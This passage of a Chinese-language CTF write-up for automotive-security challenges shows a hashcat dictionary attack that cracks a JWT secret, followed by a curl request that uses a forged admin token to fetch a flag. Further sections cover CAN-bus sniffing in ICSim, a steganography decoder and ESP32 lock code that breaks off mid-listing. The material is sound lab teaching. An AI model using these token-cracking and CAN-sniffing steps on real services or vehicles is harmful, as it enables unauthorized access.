  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>可以使用密钥解开password，不过这题admin的密码就是密钥</p>
<p>hashcat命令：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">hashcat -m <span class="m">16500</span> -a <span class="m">0</span> <span class="s2">&#34;C:\Users\Tajang\Desktop\1.txt&#34;</span> <span class="s2">&#34;D:\Tools\字典\密码\rockyou.txt&#34;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>16500代表HS256算法，-a 0代表字典攻击</p>
<p>得到密钥为<code>princess</code></p>
<p>账号为admin，登录即可拿到 token，然后get 访问/protected，header写：authorization: Bearer JWT_TOKEN值</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">curl -X GET http://celsius.blockharbor.io:5011/protected -H <span class="s2">&#34;Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZW1haWwiOiJhZG1pbkBiaC5pbyIsInBhc3N3b3JkIjoiJDJiJDEwJFNiNXZ0WU44c3dYR1dtbTNrdmYvbE8uNDdoV3BBQnBQQ2xYNjN2VDZrYWxRTVpYeWVyTy9XIiwiaWF0IjoxNzU3MzQ5MDM1LCJleHAiOjE3NTc3ODEwMzV9.0HdP-jCxBA7DQ1225uzJqsNSklRngOzB9h471UpUD7g&#34;</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="o">{</span><span class="s2">&#34;message&#34;</span>:<span class="s2">&#34;Welcome admin! Here&#39;s the flag: bh{cr4ck_d3m_jwts}&#34;</span><span class="o">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>拿到flag：bh{cr4ck_d3m_jwts}</p>
<h2 id="icsim">ICSim<a class="anchor" href="#icsim">#</a></h2>
<h3 id="unlock-my-door">Unlock my door<a class="anchor" href="#unlock-my-door">#</a></h3>
<p>关于安装 ICSim 我写了一篇文章：<a
  href="https://h4cker.zip/post/vm/" rel="nofollow noopener noreferrer" target="_blank"
  >Ubuntu与ICSim安装二三事<span style="user-select:none"> ↗</span></a
>
</p>
<p>在几年前想转车联网安全的时候也出过一期 ICSim 视频：<a
  href="https://www.bilibili.com/video/BV1GF411K7iY/" rel="nofollow noopener noreferrer" target="_blank"
  >车联网安全-把玩汽车安全模拟器ICSim<span style="user-select:none"> ↗</span></a
>
</p>
<p>指定了种子是<code>10000</code></p>
<p>启动仪表盘：<code>./icsim -s 10000 vcan0</code></p>
<p>启动控制器：./controls -s 10000 vcan0</p>
<p>我的方法是对比法：</p>
<p>candump vcan0 &gt; 1.log，什么都不做等待10秒钟。</p>
<p>candump vcan0 &gt; 2.log，启动后只执行一次开门指令，其他转向加速都不要做</p>
<p>提取出两个日志的CAN ID，然后对比，发现 2.log 多出了 5C6，所以答案就是0x5C6</p>
<p><strong>如何对比？</strong></p>
<p>笨方法是提取出CAN ID，去重排序，用肉眼看，或者使用BCompare工具对比</p>
<p>快速方法是：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">comm -13 &lt;<span class="o">(</span>awk <span class="s1">&#39;{print $2}&#39;</span> 1.log <span class="p">|</span> sort <span class="p">|</span> uniq<span class="o">)</span> &lt;<span class="o">(</span>awk <span class="s1">&#39;{print $2}&#39;</span> 2.log <span class="p">|</span> sort <span class="p">|</span> uniq<span class="o">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这个命令会提取CAN ID ，输出 2.log 独有，而 1.log 没有的内容</p>
<blockquote>
<p>comm命令会一列列地比较两个已排序文件的差异，并将其结果显示出来，如果没有指定任何参数，则会把结果分成3行显示：第1行仅是在第1个文件中出现过的列，第2行是仅在第2个文件中出现过的列，第3行则是在第1与第2个文件里都出现过的列。若给予的文件名称为”-“，则comm指令会从标准输入设备读取数据。
-1 不显示只在第1个文件里出现过的列
-2 不显示只在第2个文件里出现过的列
-3 不显示只在第1和第2个文件里出现过的列</p>
</blockquote>
<h3 id="speedometer-arbid">Speedometer ArbId<a class="anchor" href="#speedometer-arbid">#</a></h3>
<p>速度是一直有指令发送的，所以上面的方法不再奏效</p>
<p>我们需要一直加速，观察哪个CAN ID 的数据帧也在不断增大，使用sniffer观察变动的数据</p>
<p><code>cansniffer -c vcan0</code></p>
<p>可以看到779数值在增加，达到最大速度后不再变化</p>
<p>0x779</p>
<h2 id="steganography">Steganography<a class="anchor" href="#steganography">#</a></h2>
<h3 id="alpha-beta-gamma-delta">Alpha Beta Gamma Delta<a class="anchor" href="#alpha-beta-gamma-delta">#</a></h3>
<p>课程自己给了隐写术代码，杂项不太会，通过脚本反推一下如何隐藏的吧</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="c1">#读取整个日志文件内容，并去除每行末尾的换行符，保存到 data 列表中</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./chall-log.txt&#39;</span><span class="p">,</span><span class="s1">&#39;r&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">fd</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">        <span class="n">data</span> <span class="o">=</span> <span class="p">[</span><span class="n">x</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">fd</span><span class="o">.</span><span class="n">readlines</span><span class="p">()]</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="c1">#从一行日志中提取出时间戳的小数部分（毫秒/微秒级），并转换为整数返回</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="k">def</span> <span class="nf">convert_line_to_ts</span><span class="p">(</span><span class="n">line</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">        <span class="n">ts</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39; &#39;</span><span class="p">)[</span><span class="mi">0</span><span class="p">][</span><span class="mi">1</span><span class="p">:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39;.&#39;</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl">        <span class="k">return</span> <span class="nb">int</span><span class="p">(</span><span class="n">ts</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="c1">#获取第一行的时间戳小数部分作为初始值</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="n">last</span> <span class="o">=</span> <span class="n">convert_line_to_ts</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="c1">#遍历其余每一行，计算当前行和上一行时间戳差值，并将其视为 ASCII 码输出对应的字符。</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">data</span><span class="p">[</span><span class="mi">1</span><span class="p">:]:</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">
</span></span><span class="line"><span class="ln">17</span><span class="cl">        <span class="n">ts</span> <span class="o">=</span> <span class="n">convert_line_to_ts</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">
</span></span><span class="line"><span class="ln">19</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">ts</span> <span class="o">-</span> <span class="n">last</span><span class="p">),</span><span class="n">end</span><span class="o">=</span><span class="s1">&#39;&#39;</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">
</span></span><span class="line"><span class="ln">21</span><span class="cl">        <span class="n">last</span> <span class="o">=</span> <span class="n">ts</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="nb">print</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>bh{delta_force_five!}</p>
<h2 id="reversing">Reversing<a class="anchor" href="#reversing">#</a></h2>
<h3 id="reversing-1">Reversing #1<a class="anchor" href="#reversing-1">#</a></h3>
<p>逆向咯</p>
<blockquote>
<p>We managed to get the source code to a program running on an ESP32, can you reverse it and find an input that unlocks it?
我们成功获取了运行在 ESP32 上的程序源代码，你能对其进行逆向分析，并找出一个能解锁它的输入吗？</p>
</blockquote>
<p>就是典型的CTF题，看逻辑写脚本破解密码</p>
<p>给的代码是：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="cp">#define MAX_SIZE 32
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="k">const</span> <span class="kt">uint32_t</span> <span class="n">a</span> <span class="o">=</span> <span class="mi">1103515245</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="k">const</span> <span class="kt">uint32_t</span> <span class="n">c</span> <span class="o">=</span> <span class="mi">12345</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="k">const</span> <span class="kt">uint32_t</span> <span class="n">m</span> <span class="o">=</span> <span class="mi">2147483647</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="kt">uint32_t</span> <span class="n">seed</span> <span class="o">=</span> <span class="mi">1337</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">user_input</span><span class="p">[</span><span class="n">MAX_SIZE</span><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="k">const</span> <span class="kt">uint32_t</span> <span class="n">STATE</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x1e48add6</span><span class="p">,</span> <span class="mh">0xaaa7550c</span><span class="p">,</span> <span class="mh">0x18df53bf</span><span class="p">,</span> <span class="mh">0xe6af1116</span><span class="p">};</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="kt">uint32_t</span> <span class="n">start</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x0</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">};</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="kt">uint32_t</span> <span class="nf">gen_random</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">  <span class="n">seed</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)(((</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">a</span> <span class="o">*</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">seed</span> <span class="o">+</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">c</span><span class="p">)</span> <span class="o">%</span> <span class="n">m</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">  <span class="k">return</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">seed</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="kt">void</span> <span class="nf">setup</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">  <span class="n">Serial</span><span class="p">.</span><span class="nf">begin</span><span class="p">(</span><span class="mi">115200</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">  <span class="n">Serial</span><span class="p">.</span><span class="nf">println</span><span class="p">(</span><span class="s">&#34;==================================================&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">  <span class="n">Serial</span><span class="p">.</span><span class="nf">println</span><span class="p">(</span><span class="s">&#34;=               SECURE LOCK - v0.5               =&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">  <span class="n">Serial</span><span class="p">.</span><span class="nf">println</span><span class="p">(</span><span class="s">&#34;==================================================&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="kt">int</span> <span class="nf">check_pass</span><span class="p">(</span><span class="kt">uint32_t</span> <span class="n">start</span><span class="p">[])</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">    <span class="n">Serial</span><span class="p">.</span><span class="nf">println</span><span class="p">(</span><span class="s">&#34;checking</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">    <span class="kt">uint32_t</span> <span class="n">temp</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">      <span class="n">temp</span> <span class="o">=</span> <span class="n">start</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">      <span class="n">temp</span> <span class="o">*=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="mh">0xcafebeef</span><span class="p">;</span>
